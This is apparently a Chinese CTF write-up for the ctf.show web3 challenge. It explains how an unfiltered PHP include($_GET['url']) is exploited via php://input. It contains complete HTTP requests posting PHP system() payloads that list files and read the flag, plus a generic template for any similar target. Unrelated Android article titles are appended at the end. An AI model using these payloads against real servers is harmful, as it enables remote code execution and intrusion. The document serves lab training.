ctf.show_web3

抓包发送右键到Repeater中

把 Repeater 里的所有内容全部清空 ,粘贴这段最简可执行请求:

双击到代码行中复制

复制代码
POST /?url=php://input HTTP/1.1
Host: 2667631b-bfee-4c6c-ab0d-b147c4281884.challenge.ctf.show
Content-Type: text/plain
Connection: close

<?php system("ls -l"); ?>
必须严格遵守的格式:
  • 第 4 行 Connection: close 后面必须按一次回车 ,空出一行,再写 <?php ... ?>
  • 不要加任何多余的请求头 (比如 User-Agent、Accept 等),只保留这 4 行
  • 不要手动写 Content-Length,Burp 会自动计算

🚀 操作步骤(照着点)

  1. 在 Repeater 的 Request 编辑区,按 Ctrl+A 全选,再按 Delete 清空所有内容
  2. 把上面的代码完整粘贴进去
  3. 确认 Host 地址是你的目标地址:2667631b-bfee-4c6c-ab0d-b147c4281884.challenge.ctf.show
  4. 点击左上角的 Send 按钮
  5. 看 Response 区,你会看到目录列表,里面一定有 ctf_go_go_go

🎯 拿到目录后,读取 flag

把 PHP 代码替换成下面这段,再次点击 Send:

http

复制代码
POST /?url=php://input HTTP/1.1
Host: 2667631b-bfee-4c6c-ab0d-b147c4281884.challenge.ctf.show
Content-Type: text/plain
Connection: close

<?php system("cat ctf_go_go_go"); ?>

Response 区会直接显示 flag{xxx},这就是最终答案!

一、题目源码(核心)

php

运行

复制代码
<?php
include($_GET['url']);
?>

这一行代码 = 整个题目的 100% 考点


二、逐行解析原理(超级大白话)

1. $_GET['url'] 是什么?

  • 作用 :接收浏览器 URL 里的 ?url=xxx 参数
  • 例子 访问 http://xxx/?url=123``$_GET['url'] 就等于 123

2. include(...) 是什么?

  • PHP 官方功能 :把指定文件内容读取出来,当作 PHP 代码执行
  • 可以包含:
    • 本地文件 a.php
    • 系统文件 /etc/passwd
    • PHP 伪协议 (重点!)
      • php://input
      • php://filter
      • data://text/plain,xxxx

3. 关键爆炸点:php://input 是什么?

这是这道题的核心武器!

php://input = 读取 POST 请求的原始数据

意思是:

php

运行

复制代码
include("php://input");

等于:

plaintext

复制代码
把 POST 请求体里的内容 → 当作 PHP 代码 → 直接执行!

三、整题攻击链原理(最关键)

攻击链 = 4 步黄金流程

1. 你访问

plaintext

复制代码
/?url=php://input

2. 服务器执行

php

运行

复制代码
include("php://input");

3. php://input 去读取 POST 数据

你 POST 什么内容,服务器就把什么当作 PHP 代码执行!

4. 你 POST:

php

运行

复制代码
<?php system("ls"); ?>

服务器就会执行:

plaintext

复制代码
ls 列出当前目录文件

你 POST:

php

运行

复制代码
<?php system("cat ctf_go_go_go"); ?>

服务器就执行:

plaintext

复制代码
cat ctf_go_go_go 输出 flag

四、为什么必须用 POST?

因为:

  • php://input 只能读取 POST 原始数据
  • GET 请求没有请求体,没法传代码
  • 所以必须 GET → 改成 POST

五、为什么请求头和载荷之间必须空一行?

HTTP 协议规定:

plaintext

复制代码
请求头
请求头
(空行)
请求体

没有空行 = 服务器不知道 POST 数据从哪开始 空行 = 告诉服务器:"头结束了,下面是要执行的代码!"


六、这道题的完整攻击流程(原理版)

1. 触发文件包含

plaintext

复制代码
/?url=php://input

2. 服务器执行

php

运行

复制代码
include("php://input");

3. 构造 POST 请求,传入 PHP 代码

plaintext

复制代码
POST
空行
<?php system("ls"); ?>

4. 服务器执行命令,返回目录

plaintext

复制代码
index.php
ctf_go_go_go

5. 再 POST 读取 flag

plaintext

复制代码
<?php system("cat ctf_go_go_go"); ?>

6. 得到 flag

plaintext

复制代码
flag{xxxxxxxx}

七、这道题考察的所有知识点(面试 / CTF 必背)

  1. 文件包含漏洞 include($_GET['xxx']) 无过滤

  2. PHP 伪协议 php://input 读取 POST 数据执行代码

  3. HTTP 请求结构请求头 + 空行 + 请求体

  4. POST 方法使用传递 PHP 代码

  5. 系统命令执行 system("ls")``system("cat flag")

  6. 无任何防护的危险代码


八、同类题目万能解题模型(看到就秒解)

看到代码:

php

运行

复制代码
include($_GET['参数']);

固定解法:

plaintext

复制代码
POST /?参数=php://input HTTP/1.1
Host: xxx
Content-Type: text/plain
Connection: close

<?php system("ls"); ?>

流程:

  1. ls 看目录
  2. cat 读 flag
  3. 结束

🎯 一句话终极总结

这道题 = 文件包含 + php://input + POST 命令执行 = 直接拿 flag

相关推荐
千里马学框架3 天前
一起学 Android 14:ShellTransition 屏幕旋转过程深度剖析
android·智能手机·性能优化·framework·性能·屏幕旋转·rotation
美狐美颜SDK开放平台3 天前
开发直播APP时如何接入视频美颜SDK?开发流程与注意事项
android·人工智能·计算机视觉·音视频·直播美颜sdk
AFinalStone3 天前
Android7 SystemUI源码解析(七)Keyguard锁屏模块深度解析
android·systemui
致远ccc3 天前
Google Play 上架前如何测试 App?多国家 Android 环境测试
android·app测试·googleplay·多国家应用测试
ttyyttemo3 天前
Kotlin 协程中的 Job 结构化并发与取消
android
sun0077003 天前
tbox 4g/5g切换,导致wan ip 改变,导致车机旧网络不可用。需要重启车机才行
android
其实防守也摸鱼3 天前
内网穿透与反向代理:原理、工具与实战指南
android·大数据·运维·安全·网络安全·自动化·渗透
AFinalStone3 天前
Android7 SystemUI 源码解析(四)NavigationBar 导航栏与 SystemBars
android·systemui
JMchen3 天前
属性动画原理与高级动画实现
android·kotlin·canvas
AFinalStone3 天前
Android7 SystemUI 源码解析(二)启动流程深度解析
android·systemui